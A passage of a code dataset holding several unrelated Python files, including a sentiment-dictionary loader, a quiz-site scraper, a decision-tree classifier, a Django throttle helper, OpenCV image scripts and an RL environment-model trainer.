f_log=None, get_other=False):\r\n _master_dictionary = {}\r\n _sentiment_categories = ['negative', 'positive', 'uncertainty', 'litigious', 'constraining',\r\n 'strong_modal', 'moderate_modal','weak_modal']\r\n\r\n\r\n _stopwords = pd.read_csv(stopwords_file, header=None)\r\n\r\n _stopwords = [val.lower() for sublist in _stopwords.values for val in sublist]\r\n\r\n #_stopwords = [word.lower() for word in _stopwords]\r\n\r\n\r\n with open(file_path) as f:\r\n _total_documents = 0\r\n _md_header = f.readline()\r\n for line in f:\r\n cols = line.split(',')\r\n\r\n _master_dictionary[cols[0].lower()] = MasterDictionary(cols, _stopwords)\r\n _total_documents += _master_dictionary[cols[0].lower()].doc_count\r\n if len(_master_dictionary) % 5000 == 0 and print_flag:\r\n print('\\r ...Loading Master Dictionary' + ' {}'.format(len(_master_dictionary)), end='', flush=True)\r\n\r\n if print_flag:\r\n print('\\r', end='') # clear line\r\n print('\\nMaster Dictionary loaded from file: \\n ' + file_path)\r\n print(' {0:,} words loaded in master_dictionary.'.format(len(_master_dictionary)) + '\\n')\r\n\r\n\r\n if f_log:\r\n try:\r\n f_log.write('\\n\\n load_masterdictionary log:')\r\n f_log.write('\\n Master Dictionary loaded from file: \\n ' + file_path)\r\n f_log.write('\\n {0:,} words loaded in master_dictionary.\\n'.format(len(_master_dictionary)))\r\n except Exception as e:\r\n print('Log file in load_masterdictionary is not available for writing')\r\n print('Error = {0}'.format(e))\r\n\r\n if get_other:\r\n return _master_dictionary, _md_header, _sentiment_categories, _stopwords\r\n else:\r\n return _master_dictionary\r\n\r\n\r\ndef create_sentimentdictionaries(_master_dictionary, _sentiment_categories, negation_list=None):\r\n\r\n _sentiment_dictionary = {}\r\n for category in _sentiment_categories:\r\n _sentiment_dictionary[category] = {}\r\n # Create dictionary of sentiment dictionaries with count set = 0\r\n for word in _master_dictionary.keys():\r\n for category in _sentiment_categories:\r\n if _master_dictionary[word].sentiment[category]:\r\n _sentiment_dictionary[category][word] = 0\r\n\r\n if negation_list is not None:\r\n _sentiment_dictionary['negation'] = {}\r\n\r\n for word in negation_list:\r\n _sentiment_dictionary['negation'][word] = 0\r\n\r\n return _sentiment_dictionary\r\n\r\n\r\nclass MasterDictionary:\r\n def __init__(self, cols, _stopwords):\r\n self.word = cols[0].lower()\r\n self.sequence_number = int(cols[1])\r\n self.word_count = int(cols[2])\r\n self.word_proportion = float(cols[3])\r\n self.average_proportion = float(cols[4])\r\n self.std_dev_prop = float(cols[5])\r\n self.doc_count = int(cols[6])\r\n self.negative = int(cols[7])\r\n self.positive = int(cols[8])\r\n self.uncertainty = int(cols[9])\r\n self.litigious = int(cols[10])\r\n self.constraining = int(cols[11])\r\n self.superfluous = int(cols[12])\r\n self.interesting = int(cols[13])\r\n self.modal_number = int(cols[14])\r\n self.strong_modal = False\r\n if int(cols[14]) == 1:\r\n self.strong_modal = True\r\n self.moderate_modal = False\r\n if int(cols[14]) == 2:\r\n self.moderate_modal = True\r\n self.weak_modal = False\r\n if int(cols[14]) == 3:\r\n self.weak_modal = True\r\n self.sentiment = {}\r\n self.sentiment['negative'] = bool(self.negative)\r\n self.sentiment['positive'] = bool(self.positive)\r\n self.sentiment['uncertainty'] = bool(self.uncertainty)\r\n self.sentiment['litigious'] = bool(self.litigious)\r\n self.sentiment['constraining'] = bool(self.constraining)\r\n self.sentiment['strong_modal'] = bool(self.strong_modal)\r\n self.sentiment['moderate_modal'] = bool(self.moderate_modal)\r\n self.sentiment['weak_modal'] = bool(self.weak_modal)\r\n self.irregular_verb = int(cols[15])\r\n self.harvard_iv = int(cols[16])\r\n self.syllables = int(cols[17])\r\n self.source = cols[18]\r\n\r\n if self.word in _stopwords:\r\n self.stopword = True\r\n else:\r\n self.stopword = False\r\n return\r\n","sub_path":"load_MasterDictionary.py","file_name":"load_MasterDictionary.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"190605724","text":"import tkinter\n\n\ndef parabola(par_x):\n return list(map(lambda x: (x ** 2) / 100, par_x))\n\n\ndef draw_axes(par_canvas):\n par_canvas.update()\n x_origin = par_canvas.winfo_width() / 2\n y_origin = par_canvas.winfo_height() / 2\n par_canvas.configure(scrollregion=(-x_origin, -y_origin, x_origin, y_origin))\n par_canvas.create_line(-x_origin, 0, x_origin, 0, fill=\"black\")\n par_canvas.create_line(0, -y_origin, 0, y_origin, fill=\"black\")\n\n\ndef draw_parabola(par_canvas):\n par_canvas.update()\n xes = range(-320, 320, 1)\n # ratio = parCanvas.winfo_width() / 100\n ratio = 1\n ratio2 = 100 / par_canvas.winfo_height()\n print(ratio)\n for i in range(len(xes) - 1):\n par_canvas.create_line(xes[i] * ratio, ratio2 * parabola(xes[i] * ratio), xes[i + 1] * ratio,\n ratio2 * parabola(xes[i + 1] * ratio), fill=\"black\")\n\n\ndef plot(par_canvas, par_x, par_y):\n par_canvas.update()\n for i in range(len(par_x) - 1):\n par_canvas.create_line(par_x[i], -par_y[i], par_x[i + 1],\n -par_y[i + 1], fill=\"black\")\n\n\nmainWindow = tkinter.Tk()\nmainWindow.title(\"Parabola\")\nmainWindow.geometry(\"640x480\")\n\ncanvas = tkinter.Canvas(mainWindow, width=320, height=480)\ncanvas.grid(row=0, column=0)\ncanvas2 = tkinter.Canvas(mainWindow, width=320, height=480)\ncanvas2.grid(row=0, column=1)\nprint(repr(canvas), repr(canvas2))\ndraw_axes(canvas)\ndraw_axes(canvas2)\nX = list(range(-100, 100, 1))\nprint(X)\nY = parabola(X)\nprint(Y)\nplot(canvas, X, Y)\n\nmainWindow.mainloop()\n","sub_path":"Section_11/95_lecture.py","file_name":"95_lecture.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"414715207","text":"import pandas as pd\r\nimport requests\r\nfrom lxml import html\r\nfrom pandas import ExcelWriter\r\nimport numpy as np\r\n\r\ndf = pd.DataFrame(columns=['Question','Answer'])\r\n# print (df)\r\n\r\nhp_link = \"https://www.gktoday.in/general-knowledge/\"\r\n\r\npage = requests.get(hp_link)\r\ndoc = html.fromstring(page.content)\r\n\r\nsections = np.array([])\r\n# topics = np.array([])\r\nfor i in range(1,20):\r\n try:\r\n x_path = '/html/body/div[1]/div[2]/div/aside/div[2]/ul/li[' + str(i) + ']/a'\r\n section = doc.xpath(x_path)[0].get(\"href\")\r\n sections = np.append(sections, section)\r\n # topics = np.append(topics, section.split('https://www.gktoday.in/quizbase/', 1)[-1])\r\n except (ValueError,IndexError):\r\n # print (i)\r\n continue\r\nsections = np.unique(sections)\r\n# print (sections)\r\n# print (topics)\r\n\r\n# section = sections[0]\r\n# print (section)\r\n\r\nindex = 0\r\nfor section in sections:\r\n page_link = section + '?pageno=1'\r\n page = requests.get(page_link)\r\n doc = html.fromstring(page.content)\r\n max_page = int(doc.xpath('/html/body/div[1]/div[2]/div/div/div[2]/article/div/ul/li[1]')[0].text_content().split('Page 1 of ', 1)[-1])\r\n # print (max_page)\r\n for page_no in range(1, max_page+1):\r\n page_link = section + '?pageno=' + str(page_no)\r\n # print (page_link)\r\n page = requests.get(page_link)\r\n doc = html.fromstring(page.content)\r\n for i in range(1,11):\r\n try:\r\n ques_x_path = '/html/body/div[1]/div[2]/div/div/div[2]/article/div/div[' + str(i) + ']/div[1]/p'\r\n ans_x_path = '/html/body/div[1]/div[2]/div/div/div[2]/article/div/div[' + str(i) + ']/div[3]/div[1]'\r\n ques = doc.xpath(ques_x_path)[0].text_content()\r\n ans = doc.xpath(ans_x_path)[0].text_content().split('[', 1)[-1].split(']', 1)[0]\r\n df.loc[index] = [ques, ans]\r\n index += 1\r\n except (ValueError,IndexError):\r\n # print (i)\r\n break\r\n print (section, page_no, max_page)\r\n\r\nwriter = ExcelWriter('gkques.xlsx')\r\ndf.to_excel(writer,'qna')\r\nwriter.save()\r\n\r\nprint (\"done\")","sub_path":"gktoday-gk-leecher.py","file_name":"gktoday-gk-leecher.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"394249379","text":"# -*- coding: utf-8 -*-\nimport queue\nimport random\n\nif __name__ == \"__main__\":\n q = queue.PriorityQueue()\n \n data = random.sample(range(1, 100), 5)\n print(\"Orignal data:\", data)\n \n for i in data:\n q.put(i)\n \n print(\"Priority queue:\")\n while not q.empty():\n print(q.get(), end=' ')\n print()","sub_path":"standard/010.queue/priority_queue.py","file_name":"priority_queue.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"65803651","text":"import neopixel\nimport board\nfrom random import randrange\nfrom time import sleep\n\n# definitions of functions\ndef rgb_to_grb_and_brightness(rgb, userbrightness):\n r, g, b = rgb\n ledpower = r * g * b # 255 255 255 would be 16,581,375\n\n if ledpower >= 3375000: # this is 150 150 150\n brightness = 0.3 * userbrightness\n else:\n brightness = 0.6 * userbrightness\n\n return (int(g * brightness), int(r * brightness), int(b * brightness))\n\nsettings_file = open(\"settings.txt\", \"rt\")\n\nbrightness_value_ = settings_file.readline()\nbrightness_value_ = brightness_value_.replace(\"brightness = \", \"\")\nbrightness_value_ = brightness_value_.replace(\"\\n\", \"\")\nbrightness_value = float(brightness_value_)\nbrightness_value = brightness_value / 100\n\ncolor1_ = settings_file.readline()\ncolor2_ = settings_file.readline()\ncolor3_ = settings_file.readline()\n\ncolor1_ = color1_.replace(\"color1 = \", \"\")\ncolor1_ = color1_.replace(\"\\n\", \"\")\ncolor2_ = color2_.replace(\"color2 = \", \"\")\ncolor2_ = color2_.replace(\"\\n\", \"\")\ncolor3_ = color3_.replace(\"color3 = \", \"\")\ncolor3_ = color3_.replace(\"\\n\", \"\")\n\ncolor1 = int(color1_)\ncolor2 = int(color2_)\ncolor3 = int(color3_)\n\ncolor_value = (color1, color2, color3)\n\nmode_ = settings_file.readline()\nmode_ = mode_.replace(\"mode = \", \"\")\nmode_ = mode_.replace(\"\\n\", \"\")\nmode = mode_\n\ndelay_ = settings_file.readline()\ndelay_ = delay_.replace(\"delayrainbow = \", \"\")\ndelay_ = delay_.replace(\"\\n\", \"\")\ndelay = int(delay_)\n\nprint(color_value)\nprint(brightness_value)\nprint(mode)\nprint(delay)\n\nboardleds = neopixel.NeoPixel(board.D4, 117)\n\nfor x in range(0, 10):\n if mode == \"rainbow\":\n while True:\n for pixel in range(0, 117):\n boardleds[pixel] = (int(randrange(0, 255) * brightness_value), int(randrange(0, 255) * brightness_value), int(randrange(0, 255) * brightness_value))\n sleep(float(delay)/1000)\n elif mode == \"setcolor\":\n while True:\n for pixel in range(0, 117):\n boardleds[pixel] = rgb_to_grb_and_brightness(color_value, brightness_value)\n else:\n mode = \"rainbow\"\n ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"368226418","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#  @Time    : 2021/3/13 10:32\n#  @Author  : Wowspring\n#  @Site    :\n#  @File    : BackgroundReplace.py\n#  @Software: PyCharm\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\nimage = mpimg.imread(\"../img/certificate.jpg\")\nimage = np.copy(image)\nprint('this image is:', type(image), 'with dimensions:', image.shape)\n\ngray_image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\nplt.imshow(gray_image, cmap='gray')\nplt.show()\nlower_gray = np.array(235)\nupper_gray = np.array(255)\n\nmask = cv2.inRange(gray_image, lower_gray, upper_gray)\nplt.imshow(mask, cmap='gray')\nplt.show()\n\n# 腐蚀膨胀\nerode = cv2.erode(mask, None, iterations=1)\n# plt.imshow(erode)\n# plt.show()\ndilate = cv2.dilate(erode, None, iterations=1)\n# plt.imshow(dilate)\n# plt.show()\nmasked_img = np.copy(image)\nmasked_img[dilate != 0] = [0, 0, 0]\nplt.imshow(masked_img)\nplt.show()\n\n# Background img\nbackground_image = mpimg.imread('../img/sky2.jpeg')\ncrop_background_image = background_image[0:masked_img.shape[0], 0:masked_img.shape[1]]\nplt.imshow(crop_background_image)\nprint('Image dimensions:', crop_background_image.shape)\nplt.show()\n\ncrop_background = np.copy(crop_background_image)\ncrop_background[dilate == 0] = [0, 0, 0]\nplt.imshow(crop_background)\nplt.show()\n\nprint('Masked Image dimensions:', masked_img.shape)\nprint('background Image dimensions:', crop_background.shape)\n\ncomplete_image = masked_img + crop_background\nplt.imshow(complete_image)\nplt.show()\n\nmpimg.imsave('../img/certificateandsky.jpg', complete_image)\n","sub_path":"120181080223-姚鹏飞-作业2/src/BackgroundReplace.py","file_name":"BackgroundReplace.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"91176995","text":"import math, csv, operator, json\nfrom collections import defaultdict\nfrom random import shuffle\n\n### For splitting the continuous variables #################\ndef mean(data):\n return sum(x for x in data)/float(len(data))\n\ndef variance(data):\n m = mean(data)\n return sum((x-m)**2 for x in data)/float(len(data))\n\ndef sigma(data):\n return math.sqrt(variance(data))\n############################################\n \nclass Node:\n \"\"\" Data container for each node of the decision tree. Implements methods for computing entropy and information gain, as well as splitting the data. \"\"\"\n def __init__(self, data, attr=None, attr_value=None, parent=None):\n self.data = data\n self.attr = attr\n self.attr_value = attr_value\n #self.prev_split_idx = prev_split_idx\n self.parent = parent\n self.entropy = self.get_entropy()\n self.best_split_idx, self.best_split_gain = self.best_split()[0], self.best_split()[1]\n \n def get_entropy(self, attr=None):\n \"\"\" Computes the entropy of the entire node when attr=None or of the node created by selecting for attr. See split_data() for explanation of how continuous variables are handled. \"\"\"\n if attr:\n if len(attr) == 3:\n m = attr[2][0]\n s = attr[2][1]\n i = attr[0]\n attr = attr[1]\n counts = defaultdict(float)\n for row in self.data:\n if attr and attr not in ['under', 'over', 'within']:\n if row[i] == attr:\n counts[row[-1]] += 1 # row[-1] is the classification label or the training instance\n elif attr == 'under':\n if row[i] < m-s:\n counts[row[-1]] += 1\n elif attr == 'over':\n if row[i] > m+s:\n counts[row[-1]] += 1\n elif attr == 'within':\n if row[i] <= m+s and row[i] >= m-s:\n counts[row[-1]] += 1\n else:\n counts[row[-1]] += 1\n \n return -sum(count/sum(counts.values())*math.log(count/sum(counts.values()), 2) for count in counts.itervalues())\n \n def information_gain(self, field_index, c=None):\n \"\"\" Computes the information gain associated with splitting on field_index \"\"\"\n current_entropy = self.get_entropy()\n counts = defaultdict(float)\n if not c:\n for row in self.data:\n counts[row[field_index]] += 1\n else:\n m = c[0]\n s = c[1]\n for row in self.data:\n if row[field_index] < m-s:\n counts['under'] += 1\n elif row[field_index] > m+s:\n counts['over'] += 1\n else:\n counts['within'] += 1\n if not c:\n split_entropy = sum(count/sum(counts.values())*self.get_entropy((field_index, key)) for key, count in counts.iteritems())\n else:\n split_entropy = sum(count/sum(counts.values())*self.get_entropy((field_index, key, c)) for key, count in counts.iteritems())\n \n return current_entropy - split_entropy \n \n def best_split(self):\n \"\"\" Returns (index, information_gain) for the field that generates the highest information gain. \"\"\"\n gains = defaultdict(float)\n for i in range(0, len(self.data[0])-1):\n if type(self.data[0][i]) == str:\n gains[i] = self.information_gain(i)\n else:\n attrs = [row[i] for row in self.data]\n gains[i] = self.information_gain(i, (mean(attrs), sigma(attrs)) )\n return max(gains.iteritems(), key=operator.itemgetter(1)) \n \n def split_data(self):\n \"\"\" Splits the data on self.best_split_idx, which is the index returned by best_split(). Continuous variables are split into 3 bins: values under, within, or over a 2*sigma-wide interval centered on the mean of all values in the list self.data[self.best_split_idx]. \"\"\"\n best = self.best_split_idx\n new_data = defaultdict(list)\n if type(self.data[0][best]) == str:\n c = 'str'\n for row in self.data:\n new_data[row[best]].append(row)\n else:\n attrs = [row[best] for row in self.data]\n m = mean(attrs)\n s = sigma(attrs)\n c = (m, s)\n for row in self.data:\n if row[best] > m+s:\n new_data['over'].append(row)\n elif row[best] < m-s:\n new_data['under'].append(row)\n else:\n new_data['within'].append(row)\n return (new_data, c)\n \n def get_class_counts(self):\n \"\"\" Return the number of instances in each class within the node. \"\"\"\n counts = defaultdict(float)\n for row in self.data:\n counts[row[-1]] += 1\n return counts\n \ndef Tree(node, attr='root'):\n \"\"\" Builds the decision tree using Node class as a data container. \"\"\"\n name = attr\n node_info = {'name': name, 'parent': node.parent, 'node': node}\n \n children = []\n entropy = node.entropy\n if entropy < 0.45 or len(node.data) < 80: # Stop splitting. Values found via parameter sweep.\n node_info['leaf'] = True\n label = max(node.get_class_counts().iteritems(), key=operator.itemgetter(1))[0]\n node_info['children'] = label \n return node_info\n else: # Split node. \n node_info['children'] = defaultdict(Tree)\n node_info['leaf'] = False\n best = node.best_split_idx\n split_attr = node.split_data()\n split_attr, c = split_attr[0], split_attr[1]\n node_info['split_on'] = best\n if type(c) == str:\n node_info['split_mean'] = c\n else:\n node_info['split_mean'] = c[0]\n node_info['split_sigma'] = c[1]\n for key, data in split_attr.items():\n node_info['children'][key] = Tree(Node(data, best, key, name), key)\n return node_info\n \ndef classify(tree, instance):\n \"\"\" Recursively traverses tree along a path determined by instance attributes until a leaf is found. The value of tree['children'] is the class label. If a path does not match the instance attribute, max(count(class)) of all data in the current node of the tree is the prediction. \"\"\"\n if tree.get('leaf'):\n return tree.get('children')\n else:\n ind = tree.get('split_on')\n val = instance[ind]\n if type(val) == str:\n if val in tree.get('children').keys():\n next_node = tree.get('children').get(val)\n else:\n return max(tree.get('node').get_class_counts().iteritems(), key=operator.itemgetter(1))[0]\n else:\n m = tree.get('split_mean')\n s = tree.get('split_sigma')\n if val > m+s:\n next_node = tree.get('children').get('over')\n elif val < m-s:\n next_node = tree.get('children').get('under')\n else:\n next_node = tree.get('children').get('within')\n if next_node==None:\n return max(tree.get('node').get_class_counts().iteritems(), key=operator.itemgetter(1))[0]\n else:\n predict = classify(next_node, instance)\n return predict\n \n \ndef jsonTree(tree):\n \"\"\" Build a structure to output into a JSON file for debugging the algorithm \"\"\"\n node = {'name': tree['name'], 'parent': tree['parent']}\n children = tree['children']\n node['children'] = list()\n if type(children) is str:\n node['children'].append({'name': children})\n return node\n else:\n for child in children.itervalues():\n node['children'].append(jsonTree(child))\n return node\n \nif __name__ == \"__main__\":\n \n with open(\"hw4-task1-data.tsv\") as tsv:\n data = [list(line) for line in csv.reader(tsv, delimiter=\"\\t\")]\n \n int_ind = [0, 2, 4, 10, 11, 12]\n for row in data:\n for i, item in enumerate(row):\n if i in int_ind:\n row[i] = int(row[i])\n \n # Split training/test sets\n accuracy = []\n shuffle(data) # Mix it up\n K = 10\n chunk = len(data)/K\n for i in range(K):\n try:\n training_set = data[i*chunk:(i+1)*chunk]\n if i == 0:\n test_set = data[(i+1)*chunk:]\n elif i == 9:\n test_set = data[:len(data)-chunk]\n else:\n test_set = [item for sublist in [data[:i*chunk], data[(i+1)*chunk:]] for item in sublist]\n \n print('training on fold # ' + str(i))\n tree = Tree(Node(training_set))\n print ('fold # ' +str(i) + ' trained!')\n \n results = []\n for instance in test_set:\n result = classify(tree, instance)\n results.append(result == instance[-1])\n \n accuracy.append(float(results.count(True))/float(len(results)))\n except RuntimeError:\n print ('Failure at fold ' +str(i)+'. Maximum recursion depth exceeded.')\n print (\"Worst Accuracy:\\t %f\" % (min(accuracy)*100.0))\n print (\"Best Accuracy:\\t %f\" % (max(accuracy)*100.0))\n print (\"Avg Accuracy:\\t %f\" % (mean(accuracy)*100.0))\n avg_accuracy = mean(accuracy) # average accuracy across test sets from each fold\n \n # Writing results to a file \n f = open(\"result.txt\", \"w\")\n f.write(\"accuracy: %.4f\" % avg_accuracy)\n f.close()\n \n # json_data = jsonTree(tree)\n \n # with open('data.json', 'w') as outfile:\n # json.dump(json_data, outfile, sort_keys=True, indent=4, ensure_ascii=False)\n ","sub_path":"dtree.py","file_name":"dtree.py","file_ext":"py","file_size_in_byte":9722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"17233648","text":"from datetime import timedelta\n\nfrom django.utils import timezone\nfrom django.core.mail import mail_managers\nfrom django.conf import settings\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom froide.helper.date_utils import format_seconds\n\n\ndef throttle(qs, throttle_config, date_param='first_message'):\n if throttle_config is None:\n return False\n\n # Return True if the next request would break any limit\n for count, seconds in throttle_config:\n f = {\n '%s__gte' % date_param: timezone.now() - timedelta(seconds=seconds)\n }\n if qs.filter(**f).count() + 1 > count:\n return (count, seconds)\n return False\n\n\ndef check_throttle(user, klass):\n if user.is_authenticated and not user.trusted():\n throttle_settings = settings.FROIDE_CONFIG.get('request_throttle', None)\n qs, date_param = klass.objects.get_throttle_filter(user)\n throttle_kind = throttle(qs, throttle_settings, date_param=date_param)\n if throttle_kind:\n mail_managers(_('User exceeded request limit'), user.pk)\n return _('You exceeded your request limit of {count} requests in {time}.'\n ).format(count=throttle_kind[0],\n time=format_seconds(throttle_kind[1])\n )\n","sub_path":"froide/foirequest/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"38450087","text":"'''\nHere we will learn to extract some frequently used properties of objects like \nSolidity, Equivalent Diameter, Mask image, Mean Intensity etc. More features \ncan be found at Matlab regionprops documentation.\n\n*(NB : Centroid, Area, Perimeter etc also belong to this category, but we have \nseen it in last chapter)*\n1. Aspect Ratio\n\nIt is the ratio of width to height of bounding rect of the object.\n'''\n\nAspectRatio=WidthHeight\nx,y,w,h = cv.boundingRect(cnt)\naspect_ratio = float(w)/h\n'''\n\n2. Extent\n\nExtent is the ratio of contour area to bounding rectangle area.\n'''\nExtent=ObjectAreaBoundingRectangleArea\narea = cv.contourArea(cnt)\nx,y,w,h = cv.boundingRect(cnt)\nrect_area = w*h\nextent = float(area)/rect_area\n\n'''\n3. Solidity\n\nSolidity is the ratio of contour area to its convex hull area.\n'''\nSolidity=ContourAreaConvexHullArea\narea = cv.contourArea(cnt)\nhull = cv.convexHull(cnt)\nhull_area = cv.contourArea(hull)\nsolidity = float(area)/hull_area\n\n'''\n4. Equivalent Diameter\n\nEquivalent Diameter is the diameter of the circle whose area is same as the contour area.\n\n'''\n\narea = cv.contourArea(cnt)\nequi_diameter = np.sqrt(4*area/np.pi)\n\n'''\n5. Orientation\n\nOrientation is the angle at which object is directed. Following method also gives the Major Axis and Minor Axis lengths.\n'''\n\n(x,y),(MA,ma),angle = cv.fitEllipse(cnt)\n\n'''\n\n6. Mask and Pixel Points\n\nIn some cases, we may need all the points which comprises that object. It can be done as follows:\n'''\n \nmask = np.zeros(imgray.shape,np.uint8)\ncv.drawContours(mask,[cnt],0,255,-1)\npixelpoints = np.transpose(np.nonzero(mask))\n#pixelpoints = cv.findNonZero(mask)\n\n'''\nHere, two methods, one using Numpy functions, next one using OpenCV function (last commented line) are given to do the same. Results are also same, but with a slight difference. Numpy gives coordinates in **(row, column)** format, while OpenCV gives coordinates in **(x,y)** format. So basically the answers will be interchanged. Note that, row = x and column = y.\n7. Maximum Value, Minimum Value and their locations\n\nWe can find these parameters using a mask image.\nmin_val, max_val, min_loc, max_loc = cv.minMaxLoc(imgray,mask = mask)\n8. Mean Color or Mean Intensity\n\nHere, we can find the average color of an object. Or it can be average intensity of the object in grayscale mode. We again use the same mask to do it.\nmean_val = cv.mean(im,mask = mask)\n9. Extreme Points\n\nExtreme Points means topmost, bottommost, rightmost and leftmost points of the object.\n'''\n\nleftmost = tuple(cnt[cnt[:,:,0].argmin()][0])\nrightmost = tuple(cnt[cnt[:,:,0].argmax()][0])\ntopmost = tuple(cnt[cnt[:,:,1].argmin()][0])\nbottommost = tuple(cnt[cnt[:,:,1].argmax()][0])\n\n'''\nFor eg, if I apply it to an Bangladesh map, I get the following result :\n''' ","sub_path":"4. ImageProcessing/10.3_Contour_Properties.py","file_name":"10.3_Contour_Properties.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"219064679","text":"import os\nimport sys\nimport tqdm\nimport torch\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom types import SimpleNamespace\nfrom src.envs import all_envs\nfrom src.utils.logger import Logger\nfrom src.data.loaders import RolloutSequenceDataset\nfrom src.models.pytorch import EnvModel\nfrom src.models import all_envmodels, all_models, get_config\n\nclass Trainer():\n\tdef __init__(self, config):\n\t\tself.dataset_train = RolloutSequenceDataset(config, train=True)\n\t\tself.dataset_test = RolloutSequenceDataset(config, train=False)\n\t\tself.train_loader = torch.utils.data.DataLoader(self.dataset_train, batch_size=config.batch_size, shuffle=True, num_workers=config.nworkers)\n\t\tself.test_loader = torch.utils.data.DataLoader(self.dataset_test, batch_size=config.batch_size, shuffle=False, num_workers=config.nworkers)\n\n\tdef train_loop(self, ep, envmodel, update=1):\n\t\tbatch_losses = []\n\t\tenvmodel.network.train()\n\t\twith tqdm.tqdm(total=len(self.dataset_train)) as pbar:\n\t\t\tpbar.set_description_str(f\"Train Ep: {ep}, \")\n\t\t\tfor i,(states, actions, next_states, rewards, dones) in enumerate(self.train_loader):\n\t\t\t\tloss = envmodel.network.optimize(states, actions, next_states, rewards, dones)\n\t\t\t\tif i%update == 0:\n\t\t\t\t\tpbar.set_postfix_str(f\"Loss: {loss:.4f}\")\n\t\t\t\t\tpbar.update(states.shape[0]*update)\n\t\t\t\tbatch_losses.append(loss)\n\t\treturn np.mean(batch_losses)\n\n\tdef test_loop(self, ep, envmodel):\n\t\tbatch_losses = []\n\t\tenvmodel.network.eval()\n\t\twith torch.no_grad():\n\t\t\tfor states, actions, next_states, rewards, dones in self.test_loader:\n\t\t\t\tloss = envmodel.network.get_loss(states, actions, next_states, rewards, dones).item()\n\t\t\t\tbatch_losses.append(loss)\n\t\treturn np.mean(batch_losses)\n\ndef train(make_env, config):\n\ttrainer = Trainer(config)\n\tenvmodel = EnvModel(config.state_size, config.action_size, config, load=\"\", gpu=True)\n\tcheckpoint = f\"{config.env_name}\"\n\tlogger = Logger(trainer, envmodel.network, config)\n\tep_train_losses = []\n\tep_test_losses = []\n\tfor ep in range(config.epochs):\n\t\ttrain_loss = trainer.train_loop(ep, envmodel)\n\t\ttest_loss = trainer.test_loop(ep, envmodel)\n\t\tep_train_losses.append(train_loss)\n\t\tep_test_losses.append(test_loss)\n\t\tenvmodel.network.schedule(test_loss)\n\t\tif ep_test_losses[-1] <= np.min(ep_test_losses): envmodel.network.save_model(checkpoint)\n\t\tlogger.log(f\"Step: {ep:7d}, Reward: {ep_test_losses[-1]:9.3f} [{ep_train_losses[-1]:8.3f}], Avg: {np.mean(ep_test_losses, axis=0):9.3f} ({1.0:.3f})\", envmodel.network.get_stats())\n\ndef parse_args(envs, models, envmodels):\n\tparser = argparse.ArgumentParser(description=\"MDRNN Trainer\")\n\tparser.add_argument(\"env_name\", type=str, choices=envs, help=\"Name of the environment to use. Allowed values are:\\n\"+', '.join(envs), metavar=\"env_name\")\n\tparser.add_argument(\"envmodel\", type=str, default=None, choices=envmodels, help=\"Which model to use as the dynamics. Allowed values are:\\n\"+', '.join(envmodels), metavar=\"envmodels\")\n\tparser.add_argument(\"--model\", type=str, default=None, choices=models, help=\"Which RL algorithm to use as the agent. Allowed values are:\\n\"+', '.join(models), metavar=\"model\")\n\tparser.add_argument(\"--nworkers\", type=int, default=0, help=\"Number of workers to use to load dataloader\")\n\tparser.add_argument(\"--epochs\", type=int, default=50, help=\"Number of epochs to train the envmodel\")\n\tparser.add_argument(\"--seq_len\", type=int, default=40, help=\"Length of sequence to train RNN\")\n\tparser.add_argument(\"--batch_size\", type=int, default=256, help=\"Size of batch to train RNN\")\n\tparser.add_argument(\"--train_prop\", type=float, default=0.9, help=\"Proportion of trajectories to use for training\")\n\treturn parser.parse_args()\n\nif __name__ == \"__main__\":\n\targs = parse_args(all_envs, list(all_models.values())[0].keys(), all_envmodels)\n\tmake_env, _, config = get_config(args.env_name, args.model)\n\tconfig.update(**args.__dict__)\n\ttrain(make_env=make_env, config=config)\n\t\t","sub_path":"train_envmodel.py","file_name":"train_envmodel.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"54185913","text":"# -*- coding: utf-8 -*-\n\n__author__ = 'gbrva'\n\nfrom convert import *\nfrom interface import *\nimport sys\nimport os\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtGui import QIcon\n\n# Номер збірки\nnumBuild = '01_210915'\n\n\nclass MyWin(QtWidgets.QMainWindow):\n mdlFlag = True\n\n def __init__(self, parent=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.setWindowIcon(QIcon('main.ico'))\n self.ui = Ui_Main()\n self.ui.setupUi(self)\n\n\n # Встановлюємо початкові значення\n self.ui.pushButton.setEnabled(False)\n self.ui.progressBar.setProperty('value', 0)\n\n # Приєднуємо слоти\n self.ui.pushButton.clicked.connect(self.do_convert)\n self.ui.toolButton.clicked.connect(self.do_selectfile)\n self.ui.MoodleBtn.clicked.connect(self.do_moodleClick)\n self.ui.TextBtn.clicked.connect(self.do_textClick)\n\n def do_moodleClick(self):\n self.ui.MoodleBox.setChecked(True)\n self.ui.FotoBox.setChecked(False)\n self.ui.FotoBox.setEnabled(True)\n self.ui.GoogleBox.setChecked(False)\n return None\n\n def do_textClick(self):\n 